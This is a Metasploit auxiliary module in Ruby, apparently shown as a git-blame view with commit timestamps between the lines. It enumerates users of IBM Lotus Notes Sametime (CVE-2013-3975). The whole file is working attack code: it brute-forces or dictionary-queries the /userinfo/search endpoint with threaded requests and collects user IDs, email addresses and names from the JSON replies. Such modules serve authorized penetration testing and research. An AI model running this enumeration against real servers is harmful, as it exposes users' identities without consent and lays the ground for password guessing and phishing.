2013-12-26 12:01:48 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-12-26 12:01:48 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'enumerable'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2014-01-15 12:51:19 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2014-01-17 21:31:51 +00:00
|
|
|
'Name' => 'IBM Lotus Notes Sametime User Enumeration',
|
|
|
|
'Description' => %q{
|
2014-02-10 20:41:59 +00:00
|
|
|
This module extracts usernames using the IBM Lotus Notes Sametime web
|
|
|
|
interface using either a dictionary attack (which is preferred), or a
|
|
|
|
bruteforce attack trying all usernames of MAXDEPTH length or less.
|
2014-01-15 12:51:19 +00:00
|
|
|
},
|
2014-01-17 21:31:51 +00:00
|
|
|
'Author' =>
|
2014-01-15 12:51:19 +00:00
|
|
|
[
|
|
|
|
'kicks4kittens' # Metasploit module
|
|
|
|
],
|
2014-05-22 16:34:04 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2013-3975' ],
|
|
|
|
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21671201']
|
|
|
|
],
|
2014-01-17 23:59:03 +00:00
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'SSL' => true
|
|
|
|
},
|
2014-01-17 21:31:51 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2014-01-17 23:38:16 +00:00
|
|
|
'DisclosureDate' => 'Dec 27 2013'
|
2014-01-17 21:31:51 +00:00
|
|
|
))
|
2014-01-15 12:51:19 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(443),
|
2014-01-17 22:33:25 +00:00
|
|
|
OptString.new('TARGETURI', [ true, 'The path to the userinfo script', '/userinfo/search']),
|
|
|
|
OptEnum.new('CHARSET', [true, 'Charset to use for enumeration', 'alpha', ['alpha', 'alphanum', 'num'] ]),
|
2014-01-15 12:51:19 +00:00
|
|
|
OptEnum.new('TYPE', [true, 'Specify UID or EMAIL', 'UID', ['UID', 'EMAIL'] ]),
|
|
|
|
OptPath.new('DICT', [ false, 'Path to dictionary file to use', '']),
|
2014-02-10 20:41:59 +00:00
|
|
|
OptInt.new('MAXDEPTH', [ true, 'Maximum depth to check during bruteforce', 2])
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2014-01-15 12:51:19 +00:00
|
|
|
|
|
|
|
register_advanced_options(
|
|
|
|
[
|
|
|
|
OptString.new('SpecialChars', [false, 'Specify special chars (e.g. -_+!@&$/\?)', '' ]),
|
|
|
|
OptString.new('PREFIX', [ false, 'Defines set prefix for each guess (e.g. user)', '']),
|
|
|
|
OptString.new('SUFFIX', [ false, 'Defines set post for each quess (e.g. _adm)', '']),
|
2014-01-17 22:33:25 +00:00
|
|
|
OptInt.new('TIMING', [ true, 'Set pause between requests', 0]),
|
2014-01-15 12:51:19 +00:00
|
|
|
OptInt.new('Threads', [ true, 'Number of test threads', 10])
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2014-01-15 12:51:19 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def setup
|
|
|
|
# setup the desired charset
|
|
|
|
@charset = []
|
|
|
|
# setup array to hold user data
|
|
|
|
@user_data = []
|
|
|
|
|
2014-01-17 22:33:25 +00:00
|
|
|
if datastore['DICT'].blank?
|
2014-01-15 12:51:19 +00:00
|
|
|
# populate charset - lowercase only as search is case insensitive
|
|
|
|
case datastore['CHARSET']
|
|
|
|
when "alpha"
|
2014-01-17 22:33:25 +00:00
|
|
|
("a".."z").each { |alpha| @charset.push(alpha) }
|
2014-01-15 12:51:19 +00:00
|
|
|
when "num"
|
2014-01-17 22:33:25 +00:00
|
|
|
("0".."9").each { |num| @charset.push(num) }
|
2014-01-15 12:51:19 +00:00
|
|
|
when "alphanum"
|
2014-01-17 22:33:25 +00:00
|
|
|
("a".."z").each { |alpha| @charset.push(alpha) }
|
|
|
|
("0".."9").each { |num| @charset.push(num) }
|
2014-01-15 12:51:19 +00:00
|
|
|
end
|
2014-01-17 22:33:25 +00:00
|
|
|
|
2014-01-15 12:51:19 +00:00
|
|
|
if datastore['SpecialChars']
|
|
|
|
datastore['SpecialChars'].chars do | spec |
|
|
|
|
@charset.push(Rex::Text.uri_encode(spec))
|
|
|
|
end
|
|
|
|
end
|
2016-02-01 22:06:34 +00:00
|
|
|
print_status("Performing Bruteforce attack")
|
|
|
|
vprint_status("Using CHARSET: [#{@charset.join(",")}]")
|
2014-01-15 12:51:19 +00:00
|
|
|
else
|
2016-02-01 22:06:34 +00:00
|
|
|
print_status("Performing dictionary based attack (#{datastore['DICT']})")
|
2013-12-26 12:01:48 +00:00
|
|
|
end
|
|
|
|
|
2014-01-17 22:33:25 +00:00
|
|
|
if datastore['DICT'].blank? and datastore['MAXDEPTH'] > 2
|
2014-01-15 12:51:19 +00:00
|
|
|
# warn user on long runs
|
2016-02-01 22:06:34 +00:00
|
|
|
print_status("Depth level #{datastore['MAXDEPTH']} selected... this may take some time!")
|
2013-12-26 12:01:48 +00:00
|
|
|
end
|
2014-01-17 22:33:25 +00:00
|
|
|
|
|
|
|
# create initial test queue and populate
|
|
|
|
@test_queue = Queue.new
|
|
|
|
if datastore['DICT'].blank?
|
|
|
|
@charset.each { |char| @test_queue.push(char) }
|
|
|
|
else
|
|
|
|
::File.open(datastore['DICT']).each { |line| @test_queue.push(line.chomp) }
|
2016-02-01 22:06:34 +00:00
|
|
|
vprint_status("Loaded #{@test_queue.length} values from dictionary")
|
2014-01-17 22:33:25 +00:00
|
|
|
end
|
|
|
|
|
2014-01-15 12:51:19 +00:00
|
|
|
@depth_warning = true
|
|
|
|
@retries = []
|
|
|
|
end
|
2013-12-26 12:01:48 +00:00
|
|
|
|
2014-01-15 12:51:19 +00:00
|
|
|
def run
|
2016-02-01 22:06:34 +00:00
|
|
|
print_status("Testing for IBM Lotus Notes Sametime User Enumeration flaw")
|
2013-12-26 12:01:48 +00:00
|
|
|
|
2014-01-15 12:51:19 +00:00
|
|
|
# test for expected response code on non-existant uid/email
|
|
|
|
if datastore['TYPE'] == "UID"
|
2014-01-17 22:33:25 +00:00
|
|
|
random_val = Rex::Text.rand_text_alpha(32)
|
2014-01-15 12:51:19 +00:00
|
|
|
else
|
2014-01-17 22:33:25 +00:00
|
|
|
random_val = Rex::Text.rand_text_alpha(32) +"@"+ Rex::Text.rand_text_alpha(16) + ".com"
|
2014-01-15 12:51:19 +00:00
|
|
|
end
|
2014-01-17 22:33:25 +00:00
|
|
|
|
2014-01-15 12:51:19 +00:00
|
|
|
res = send_request_cgi({
|
2014-01-17 22:33:25 +00:00
|
|
|
'uri' => normalize_uri(target_uri.path),
|
2014-01-15 12:51:19 +00:00
|
|
|
'method' => 'GET',
|
2014-01-17 22:33:25 +00:00
|
|
|
'ctype' => 'text/html',
|
|
|
|
'vars_get' => {
|
|
|
|
'mode' => datastore['TYPE'].downcase,
|
|
|
|
'searchText' => random_val
|
|
|
|
}
|
2014-01-15 12:51:19 +00:00
|
|
|
})
|
|
|
|
|
|
|
|
begin
|
2014-01-17 22:33:25 +00:00
|
|
|
if res.nil?
|
2016-02-01 22:06:34 +00:00
|
|
|
print_error("Timeout")
|
2014-01-15 12:51:19 +00:00
|
|
|
return
|
2014-01-17 22:33:25 +00:00
|
|
|
elsif res.code != 200
|
2016-02-01 22:06:34 +00:00
|
|
|
print_error("Unexpected response from server (Response code: #{res.code})")
|
2014-01-15 12:51:19 +00:00
|
|
|
return
|
2014-02-06 16:16:26 +00:00
|
|
|
elsif JSON.parse(res.body)
|
|
|
|
# valid JSON response - valid response for check
|
2016-02-01 22:06:34 +00:00
|
|
|
print_good("Response received, continuing to enumeration phase")
|
2014-01-15 12:51:19 +00:00
|
|
|
end
|
|
|
|
rescue JSON::ParserError,
|
2016-02-01 22:06:34 +00:00
|
|
|
print_error("Error parsing JSON: Invalid response from server")
|
2014-01-15 12:51:19 +00:00
|
|
|
return
|
2013-12-26 12:01:48 +00:00
|
|
|
end
|
|
|
|
|
2014-01-15 12:51:19 +00:00
|
|
|
# start test handler
|
|
|
|
test_handler
|
2013-12-26 12:01:48 +00:00
|
|
|
|
2014-01-15 12:51:19 +00:00
|
|
|
# ouput results
|
|
|
|
output_results
|
|
|
|
end
|
2013-12-26 12:01:48 +00:00
|
|
|
|
2014-01-15 12:51:19 +00:00
|
|
|
def test_handler
|
2016-02-01 22:06:34 +00:00
|
|
|
print_status("Beginning tests using #{datastore['TYPE']} search method (#{datastore['Threads']} Threads)")
|
2014-01-15 12:51:19 +00:00
|
|
|
test_length = 1 # initial test length set
|
2013-12-26 12:01:48 +00:00
|
|
|
|
2014-01-17 22:33:25 +00:00
|
|
|
until @test_queue.empty?
|
2014-01-15 12:51:19 +00:00
|
|
|
t = []
|
|
|
|
nt = datastore['Threads'].to_i
|
|
|
|
nt = 1 if nt == 0
|
2013-12-26 12:01:48 +00:00
|
|
|
|
2014-01-15 12:51:19 +00:00
|
|
|
if @test_queue.length < nt
|
|
|
|
# work around issue where threads not created as the queue isn't large enough
|
|
|
|
nt = @test_queue.length
|
|
|
|
end
|
2013-12-26 12:01:48 +00:00
|
|
|
|
2014-01-15 12:51:19 +00:00
|
|
|
begin
|
|
|
|
1.upto(nt) do
|
|
|
|
t << framework.threads.spawn("Module(#{self.refname})-#{rhost}", false, @test_queue.shift) do |test_current|
|
|
|
|
Thread.current.kill if not test_current
|
2013-12-26 12:01:48 +00:00
|
|
|
|
2014-01-15 12:51:19 +00:00
|
|
|
# provide feedback to user on current test length
|
2014-01-17 22:33:25 +00:00
|
|
|
if datastore['DICT'].blank? and test_current.length > test_length
|
2014-01-15 12:51:19 +00:00
|
|
|
test_length = test_current.length
|
2016-02-01 22:06:34 +00:00
|
|
|
print_status("Beginning bruteforce test for #{test_length} character strings")
|
2013-12-26 12:01:48 +00:00
|
|
|
end
|
|
|
|
|
2014-01-15 12:51:19 +00:00
|
|
|
res = make_request(test_current)
|
2013-12-26 12:01:48 +00:00
|
|
|
|
2014-01-15 12:51:19 +00:00
|
|
|
# check response to see if an error was returned, if so wait 1 second and retry
|
2014-01-17 22:33:25 +00:00
|
|
|
if res.nil? and not @retries.include?(test_current)
|
2014-01-15 12:51:19 +00:00
|
|
|
# attempt test again as the server was too busy to respond
|
|
|
|
# correctly - error returned
|
2016-02-01 22:06:34 +00:00
|
|
|
print_error("Error reading JSON response, attempting to redo check for \"#{test_current}\"")
|
2014-01-17 23:38:16 +00:00
|
|
|
@test_queue.push(test_current)
|
2014-01-15 12:51:19 +00:00
|
|
|
@retries << test_current
|
2014-01-17 23:38:16 +00:00
|
|
|
if @retries.length == 10
|
2016-02-01 22:06:34 +00:00
|
|
|
print_error("Excessive number of retries detected (#{@retries.length}... check the TIMING and Threads options)")
|
2014-01-17 23:38:16 +00:00
|
|
|
end
|
|
|
|
elsif res
|
2014-01-15 12:51:19 +00:00
|
|
|
# check response for user data
|
|
|
|
check_response(res, test_current)
|
|
|
|
end
|
|
|
|
end
|
2013-12-26 12:01:48 +00:00
|
|
|
end
|
2014-01-15 12:51:19 +00:00
|
|
|
t.each {|x| x.join }
|
2013-12-26 12:01:48 +00:00
|
|
|
|
2014-01-15 12:51:19 +00:00
|
|
|
rescue ::Timeout::Error
|
|
|
|
ensure
|
|
|
|
t.each {|x| x.kill rescue nil }
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2013-12-26 12:01:48 +00:00
|
|
|
|
2014-01-17 22:33:25 +00:00
|
|
|
# make request and return response
|
2014-01-15 12:51:19 +00:00
|
|
|
def make_request(test_current)
|
|
|
|
# combine test string with PRE and POST variables
|
|
|
|
tstring = datastore['PREFIX'] + test_current + datastore['SUFFIX'] + "*"
|
|
|
|
# Apply timing information to pause between making requests - not a timeout
|
|
|
|
if datastore['TIMING'] > 0
|
|
|
|
Rex::sleep(datastore['TIMING'])
|
2013-12-26 12:01:48 +00:00
|
|
|
end
|
|
|
|
|
2014-01-15 12:51:19 +00:00
|
|
|
res = send_request_cgi({
|
2014-01-17 22:33:25 +00:00
|
|
|
'uri' => normalize_uri(target_uri.path),
|
2014-01-15 12:51:19 +00:00
|
|
|
'method' => 'GET',
|
2014-01-17 22:33:25 +00:00
|
|
|
'ctype' => 'text/html',
|
|
|
|
'vars_get' => {
|
|
|
|
'mode' => datastore['TYPE'].downcase,
|
|
|
|
'searchText' => tstring
|
|
|
|
}
|
2014-01-15 12:51:19 +00:00
|
|
|
})
|
|
|
|
end
|
|
|
|
|
2014-01-17 22:33:25 +00:00
|
|
|
# check the response for valid user information
|
2014-01-15 12:51:19 +00:00
|
|
|
def check_response(res, test_current)
|
|
|
|
begin
|
|
|
|
# check response exists AND that it validates as JSON before proceeding
|
|
|
|
if res.code.to_i == 200 and not JSON.parse(res.body).blank?
|
|
|
|
# successful response - extract user data
|
|
|
|
extract_user(res)
|
|
|
|
# extend test_queue to search for further data (not if dictionary in use)
|
2014-01-17 23:38:16 +00:00
|
|
|
extend_queue(test_current) if (datastore['DICT'].blank?)
|
2014-01-15 12:51:19 +00:00
|
|
|
end
|
|
|
|
rescue JSON::ParserError
|
|
|
|
# non-JSON response - server may be overloaded
|
|
|
|
return error
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def extract_user(res)
|
|
|
|
# extract user data if not already present
|
|
|
|
begin
|
|
|
|
userinfo = JSON.parse(res.body)
|
2014-01-17 23:38:16 +00:00
|
|
|
unless @user_data.flatten.include?(userinfo['uid'])
|
2014-01-15 12:51:19 +00:00
|
|
|
@user_data << [ userinfo['uid'], userinfo['mail'] || "-", userinfo['externalName'] || "-" ]
|
2014-01-17 23:38:16 +00:00
|
|
|
# print newly discovered users straight to the screen if verbose mode is set
|
2016-02-01 22:06:34 +00:00
|
|
|
vprint_good("New user found: #{userinfo['uid']}")
|
2014-01-15 12:51:19 +00:00
|
|
|
report_user(userinfo['uid'])
|
|
|
|
end
|
|
|
|
rescue JSON::ParserError
|
2016-02-01 22:06:34 +00:00
|
|
|
print_error("Error reading JSON string, continuing")
|
2013-12-26 12:01:48 +00:00
|
|
|
end
|
2014-01-15 12:51:19 +00:00
|
|
|
end
|
2013-12-26 12:01:48 +00:00
|
|
|
|
2014-01-17 22:33:25 +00:00
|
|
|
# extend the test queue if MAXDEPTH value not exceeded
|
|
|
|
# checks made to ensure duplicates are not created when extending
|
|
|
|
# process:
|
|
|
|
#
|
|
|
|
# when a user is found searching for 'a' the queue for 'a' is extended as
|
|
|
|
# only the first user starting with 'a' will be returned (e.g. 'aanderson')
|
|
|
|
# To find all users the queue must be extended by adding 'aa' through to 'az'
|
|
|
|
def extend_queue(test_current)
|
2014-01-15 12:51:19 +00:00
|
|
|
if test_current.length < datastore['MAXDEPTH']
|
|
|
|
@charset.each do | char |
|
2014-01-17 23:38:16 +00:00
|
|
|
@test_queue.push(test_current + char)
|
2014-01-15 12:51:19 +00:00
|
|
|
end
|
2014-01-17 23:38:16 +00:00
|
|
|
elsif @depth_warning and test_current.length == datastore['MAXDEPTH'] and datastore['MAXDEPTH'] > 1
|
2016-02-01 22:06:34 +00:00
|
|
|
vprint_status("Depth limit reached [#{datastore['MAXDEPTH']} levels deep] finishing up current tests")
|
2014-01-15 12:51:19 +00:00
|
|
|
@depth_warning = false
|
2013-12-26 12:01:48 +00:00
|
|
|
end
|
2014-01-15 12:51:19 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def report_user(username)
|
|
|
|
report_note(
|
2014-01-17 23:38:16 +00:00
|
|
|
:host => rhost,
|
|
|
|
:port => rport,
|
|
|
|
:proto => 'tcp',
|
|
|
|
:sname => 'sametime',
|
|
|
|
:type => 'ibm_lotus_sametime_user',
|
|
|
|
:data => "#{username}",
|
2014-01-15 12:51:19 +00:00
|
|
|
:update => :unique_data
|
|
|
|
)
|
|
|
|
end
|
|
|
|
|
|
|
|
def output_results
|
|
|
|
# print output table
|
|
|
|
|
|
|
|
user_tbl = Msf::Ui::Console::Table.new(
|
|
|
|
Msf::Ui::Console::Table::Style::Default,
|
|
|
|
'Header' => "IBM Lotus Sametime Users",
|
|
|
|
'Prefix' => "\n",
|
|
|
|
'Indent' => 1,
|
|
|
|
'Columns' =>
|
|
|
|
[
|
|
|
|
"UID",
|
|
|
|
"Email",
|
|
|
|
"CommonName"
|
|
|
|
])
|
|
|
|
|
|
|
|
# populate tables
|
|
|
|
@user_data.each do | line |
|
|
|
|
user_tbl << [ line[0], line[1], line[2] ]
|
|
|
|
end
|
2013-12-26 12:01:48 +00:00
|
|
|
|
2014-01-15 12:51:19 +00:00
|
|
|
if not user_tbl.to_s.empty?
|
2016-02-01 22:06:34 +00:00
|
|
|
print_good("#{@user_data.length} users extracted")
|
2014-01-15 12:51:19 +00:00
|
|
|
print_line(user_tbl.to_s)
|
|
|
|
else
|
2016-02-01 22:06:34 +00:00
|
|
|
print_error("No users discovered")
|
2013-12-26 12:01:48 +00:00
|
|
|
end
|
2014-01-15 12:51:19 +00:00
|
|
|
end
|
2013-12-26 12:01:48 +00:00
|
|
|
end
|